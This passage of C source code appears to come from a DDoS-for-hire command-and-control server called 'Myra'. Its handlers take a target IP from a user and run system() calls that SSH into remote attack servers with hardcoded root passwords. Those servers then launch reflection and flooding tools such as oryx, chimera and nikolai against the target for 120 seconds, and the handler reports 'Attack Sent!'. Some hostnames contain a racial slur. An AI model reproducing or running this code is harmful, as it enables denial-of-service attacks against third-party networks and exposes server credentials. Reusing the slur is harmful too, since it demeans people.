3397 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mREDBARS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mREDBARS\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3398 sprintf(ipkill2, "screen -S \"%s.[%s].redbars.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./udphex %s 120\r\n", accounts[find_line].username, iptarget, iptarget);
3399 sprintf(ipkill3, "screen -S \"%s.[%s].odin.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./odin %s odin.txt 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3400 system(ipkill); // System Execution
3401 system(ipkill2);
3402 system(ipkill3);
3403 //system(ipkill4);
3404 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mREDBARS \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-RBRS \x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m125\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3405 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3406 }
3407 if (strstr(myra_buffer_size, ".oryx") || strstr(myra_buffer_size, ".ORYX")) // BT DHT
3408 {
3409 char iptarget[5000]; // Char Every Line For Output Communication
3410 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3411 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3412 trim_removev2(iptarget); // Trim [iptarget]
3413 char *ipkill[5000]; // Creating A System Function
3414 trim_removev2(ipkill); // Trim [ipkill]
3415 char *ipkill2[5000];
3416 trim_removev2(ipkill2);
3417 char *ipkill3[5000];
3418 trim_removev2(ipkill3);
3419 char *ipkill4[5000];
3420 trim_removev2(ipkill4);
3421 //char *ipkill4[5000];
3422 //trim_removev2(ipkill4);
3423 //char *ipkill5[5000];
3424 //trim_removev2(ipkill5);
3425 //char *ipkill6[5000];
3426 //trim_removev2(ipkill6);
3427 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mORYX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mORYX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3428 sprintf(ipkill2, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./oryx %s 600 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3429 sprintf(ipkill3, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./oryx %s 1500 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3430 //sprintf(ipkill4, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@185.245.96.237 ./oryx %s 1024 4 -1 120\r\n", accounts[find_line].username, iptarget, iptarget);
3431 ////sprintf(ipkill4, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@45.138.110.29 ./oryx %s %s 0 2 120 0 1500\r\n", accounts[find_line].username, iptarget, iptarget);
3432 //sprintf(ipkill5, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./oryx %s %s 0 4 120 0 1500\r\n", accounts[find_line].username, iptarget, iptarget);
3433 //sprintf(ipkill6, "screen -S \"%s.[%s].oryx.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@104.206.80.66 ./oryx %s %s 0 4 120 0 1500\r\n", accounts[find_line].username, iptarget, iptarget);
3434 system(ipkill); // System Execution
3435 system(ipkill2);
3436 system(ipkill3);
3437 //system(ipkill4);
3438 ////system(ipkill4);
3439 //system(ipkill5);
3440 //system(ipkill6);
3441 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mORYX \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ORYX \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3442 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3443 }
3444 //if (strstr(myra_buffer_size, ".phoenix") || strstr(myra_buffer_size, ".PHOENIX")) // System Command Function
3445 //{
3446 //char iptarget[5000]; // Char Every Line For Output Communication
3447 //char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3448 //snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3449 //trim_removev2(iptarget); // Trim [iptarget]
3450 //char *ipkill[5000]; // Creating A System Function
3451 //trim_removev2(ipkill); // Trim [ipkill]
3452 //char *ipkill2[5000];
3453 //trim_removev2(ipkill2); // Trim [ipkill]
3454 //sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mPHOENIX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mPHOENIX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3455 //sprintf(ipkill2, "screen -S \"%s.[%s].phoenix.attack\" -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@141.98.10.141 ./phoenix %s 4 -1 120 0\r\n", iptarget);
3456 //system(ipkill); // System Execution
3457 //system(ipkill2);
3458 //sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mPHOENIX \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-PHNIX\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m4\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3459 //if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3460 //}
3461 if (strstr(myra_buffer_size, ".nikolai") || strstr(myra_buffer_size, ".NIKOLAI")) // System Command Function
3462 {
3463 char iptarget[5000]; // Char Every Line For Output Communication
3464 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3465 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3466 trim_removev2(iptarget); // Trim [iptarget]
3467 char *ipkill[5000]; // Creating A System Function
3468 trim_removev2(ipkill); // Trim [ipkill]
3469 char *ipkill2[5000];
3470 trim_removev2(ipkill2); // Trim [ipkill]
3471 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mNIKOLAI\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mNIKOLAI\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3472 sprintf(ipkill2, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/nikolai-atk/nikolai %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/nikolai-atk/nikolai.txt 3 -1 120\r\n", iptarget);
3473 system(ipkill); // System Execution
3474 system(ipkill2);
3475 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mNIKOLAI \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-CHRGN\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3476 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3477 }
3478 if (strstr(myra_buffer_size, ".ares") || strstr(myra_buffer_size, ".ares")) // System Command Function
3479 {
3480 char iptarget[5000]; // Char Every Line For Output Communication
3481 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3482 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3483 trim_removev2(iptarget); // Trim [iptarget]
3484 char *ipkill[5000]; // Creating A System Function
3485 trim_removev2(ipkill); // Trim [ipkill]
3486 char *ipkill2[5000]; //
3487 trim_removev2(ipkill2); // Trim [ipkill]
3488 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARESX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mARESX\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mThreads:\e[38;5;134m[\e[38;5;168m2\e[38;5;134m] \e[38;5;168mPPS:\e[38;5;134m[\e[38;5;168mMAX\e[38;5;134m] \e[38;5;168mTime:\e[38;5;134m[\e[38;5;168m120\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3489 sprintf(ipkill2, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/ares-atk/ares %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/ares-atk/ares.txt 4 -1 120\r\n", iptarget);
3490 system(ipkill); // System Execution
3491 system(ipkill2);
3492 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mARES \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-ARES \x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3493 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3494 }
3495 if (strstr(myra_buffer_size, ".cod-drop") || strstr(myra_buffer_size, ".COD-DROP")) // System Command Function
3496 {
3497 char iptarget[5000]; // Char Every Line For Output Communication
3498 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3499 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3500 trim_removev2(iptarget); // Trim [iptarget]
3501 char *ipkill[5000]; // Creating A System Function
3502 trim_removev2(ipkill); // Trim [ipkill]
3503 char *ipkill2[5000]; // Creating A System Function
3504 trim_removev2(ipkill2);
3505 char *ipkill3[5000]; // Creating A System Function
3506 trim_removev2(ipkill3);
3507 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCOD-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCOD-DROP\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3508 sprintf(ipkill2, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/bo4drop-atk/gme-brk %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/bo4drop-atk/bo4drop.txt 250 40\r\n", iptarget);
3509 sprintf(ipkill3, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/bo4drop-atk/gme-brk %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/bo4drop-atk/bo4drop.txt 250 60\r\n", iptarget);
3510 system(ipkill); // System Execution
3511 system(ipkill2);
3512 system(ipkill3);
3513 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mCOD-DROP \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m40\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-CDDRP\x1b[38;5;225m║ \x1b[38;5;168mThrottle\x1b[38;5;225m: \e[38;5;134m250\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3514 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3515 }
3516 if (strstr(myra_buffer_size, ".chimera") || strstr(myra_buffer_size, ".CHIMERA")) // System Command Function
3517 {
3518 char iptarget[5000]; // Char Every Line For Output Communication
3519 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3520 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3521 trim_removev2(iptarget); // Trim [iptarget]
3522 char *ipkill[5000]; // Creating A System Function
3523 trim_removev2(ipkill); // Trim [ipkill]
3524 char *ipkill2[5000];
3525 trim_removev2(ipkill2);
3526 char *ipkill3[5000];
3527 trim_removev2(ipkill3);
3528 char *ipkill4[5000];
3529 trim_removev2(ipkill4);
3530 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCHIMERA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mCHIMERA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3531 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/chimera-atk/chimera %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/chimera-atk/chimera.txt 4 -1 120\r\n", iptarget);
3532 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/chimera-atk/chimera %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/chimera-atk/chimera.txt 4 -1 120\r\n", iptarget);
3533 system(ipkill); // System Execution
3534 system(ipkill2);
3535 system(ipkill3);
3536 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mCHIMERA \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-CHMRA\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3537 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3538 }
3539 if (strstr(myra_buffer_size, ".roopthedoop") || strstr(myra_buffer_size, ".roopthedoop")) // System Command Function
3540 {
3541 char iptarget[5000]; // Char Every Line For Output Communication
3542 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3543 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3544 trim_removev2(iptarget); // Trim [iptarget]
3545 char *ipkill[5000]; // Creating A System Function
3546 trim_removev2(ipkill);
3547 char *ipkill2[5000];
3548 trim_removev2(ipkill2);
3549 char *ipkill3[5000];
3550 trim_removev2(ipkill3);
3551 char *ipkill4[5000];
3552 trim_removev2(ipkill4);
3553 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mGÜNTHER\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mGÜNTHER\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3554 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/phoenix-atk/phoenix %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/phoenix-atk/phoenix.txt 4 -1 120\r\n", iptarget);
3555 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 4 -1 120\r\n", iptarget);
3556 system(ipkill); // System Execution
3557 system(ipkill2);
3558 system(ipkill3);
3559 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mGÜNTHER \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-GUNTR\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m8\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3560 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3561 }
3562 if (strstr(myra_buffer_size, ".jena") || strstr(myra_buffer_size, ".jena")) // System Command Function
3563 {
3564 char iptarget[5000]; // Char Every Line For Output Communication
3565 char *token = strtok(myra_buffer_size, " "); // Create Delimiter
3566 snprintf(iptarget, sizeof(iptarget), "%s", token+strlen(token)+1); // String Comparison From User Input - Using Token Size
3567 trim_removev2(iptarget); // Trim [iptarget]
3568 char *ipkill[5000]; // Creating A System Function
3569 trim_removev2(ipkill); // Trim [ipkill]
3570 char *ipkill2[5000]; // Creating A System Function
3571 trim_removev2(ipkill2); // Trim [ipkill]
3572 char *ipkill3[5000];
3573 trim_removev2(ipkill3);
3574 char *ipkill4[5000];
3575 trim_removev2(ipkill4);
3576 sprintf(ipkill, "echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mKATURA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]'; echo -e '\e[38;5;134m[\e[38;5;168mMyra\e[38;5;134m] \e[38;5;168mUser:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m] \e[38;5;168mMethod:\e[38;5;134m[\e[38;5;168mKATURA\e[38;5;134m] \e[38;5;168mIP/Port:\e[38;5;134m[\e[38;5;168m%s\e[38;5;134m]' >> logs/Myra_IPHM_Attack.log\r\n", accounts[find_line].username, iptarget, accounts[find_line].username, iptarget);
3577 sprintf(ipkill2, "screen -d -m sshpass -p hahahackme1234@12 ssh -p 885 root@nigger1 /usr/sbin/c2/amp/methods/layer4/v1/reflection/phoenix-atk/phoenix %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/phoenix-atk/phoenix.txt 4 -1 120\r\n", iptarget);
3578 sprintf(ipkill3, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@mainnig /usr/sbin/c2/amp/methods/layer4/v1/reflection/katura-atk/katura %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/katura-atk/katura.txt 4 -1 120\r\n", iptarget);
3579 //sprintf(ipkill4, "screen -d -m sshpass -p IAmSLightLYBLACK331 ssh root@nigger2 /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena %s /usr/sbin/c2/amp/methods/layer4/v1/reflection/athena-atk/athena.txt 3 -1 120\r\n", iptarget);
3580 system(ipkill); // System Execution
3581 system(ipkill2);
3582 system(ipkill3);
3583 //system(ipkill4);
3584 sprintf(myra, "\x1b[38;5;225m╔══════════════════╗\r\n\x1b[38;5;225m║ \x1b[38;5;168mAttack Sent! \x1b[38;5;225m║ \x1b[38;5;168mIP \x1b[38;5;225m/ \x1b[38;5;168mPort\x1b[38;5;225m: \e[38;5;134m%s\r\n\x1b[38;5;225m║ \x1b[38;5;168mMethod\x1b[38;5;225m: \e[38;5;134mKATURA \x1b[38;5;225m║ \x1b[38;5;168mTime\x1b[38;5;225m: \e[38;5;134m120\r\n\x1b[38;5;225m║ \x1b[38;5;168mUsage\x1b[38;5;225m: \e[38;5;134mIPHM-KATRA\x1b[38;5;225m║ \x1b[38;5;168mThreads\x1b[38;5;225m: \e[38;5;134m2\r\n\x1b[38;5;225m╚══════════════════╝\r\n", iptarget);
3585 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) return; // Each Line Set on [MSG_NOSIGNAL] - Broadcast
3586 }
3587 if (strstr(myra_buffer_size, ".cs-drop") || strstr(myra_buffer_size, ".CS-DROP")) // System Command Function
3588 {
3589 char iptarget[5000]; // Char Every Line For Output Communication
